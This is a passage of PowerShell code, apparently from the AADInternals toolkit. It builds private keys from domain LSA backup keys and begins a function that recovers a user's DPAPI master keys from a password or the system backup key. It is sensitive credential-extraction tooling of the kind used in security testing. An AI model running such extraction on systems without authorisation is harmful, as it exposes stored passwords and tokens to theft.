0x01, 0x00, 0x00, 0x00
# Encrypt type = 0
0x00, 0x00, 0x00, 0x00
# Encrypt data = 0
0x00, 0x00, 0x00, 0x00
)
$pvkHeader += [System.BitConverter]::GetBytes([int32]$keyLen)
# Construct the private key and update key object
$privateKey = $pvkHeader + $key
$backupKey.key = [byte[]]$privateKey
# Add certificate to key object
$backupKey | Add-Member -NotePropertyName "certificate" -NotePropertyValue $cert
}
elseif($version -eq 1) # Legacy key
{
# Update the key object's key
$key = $bk[$p..$($bk.Length)]
$backupKey.key = $key
}
}
}
return $backupKeys
}
}
# Gets the given user's DSAPI master keys
# Apr 25th 2020
function Get-UserMasterkeys
{
<#
.SYNOPSIS
Gets user's master keys
.DESCRIPTION
Gets user's master keys using the password or system backup key (LSA backup key)
.Example
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -Password "password"
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b... {166, 95, 5, 216...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
PS C:\>$rsa_key=$lsabk_keys | where name -eq RSA
PS C:\>Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.key
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b...
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$false, ParameterSetName="credentials")]
[Parameter(Mandatory=$true, ParameterSetName="password")]
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[String]$UserName,
[Parameter(Mandatory=$false)]
[String]$SID,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$Password,
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[byte[]]$SystemKey,
[Parameter(Mandatory=$true, ParameterSetName="credentials")]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[String]$UsersFolder="C:\Users"
)
Process
{
$retVal=@{}
# Populate username and password from credentials
if($Credentials)
{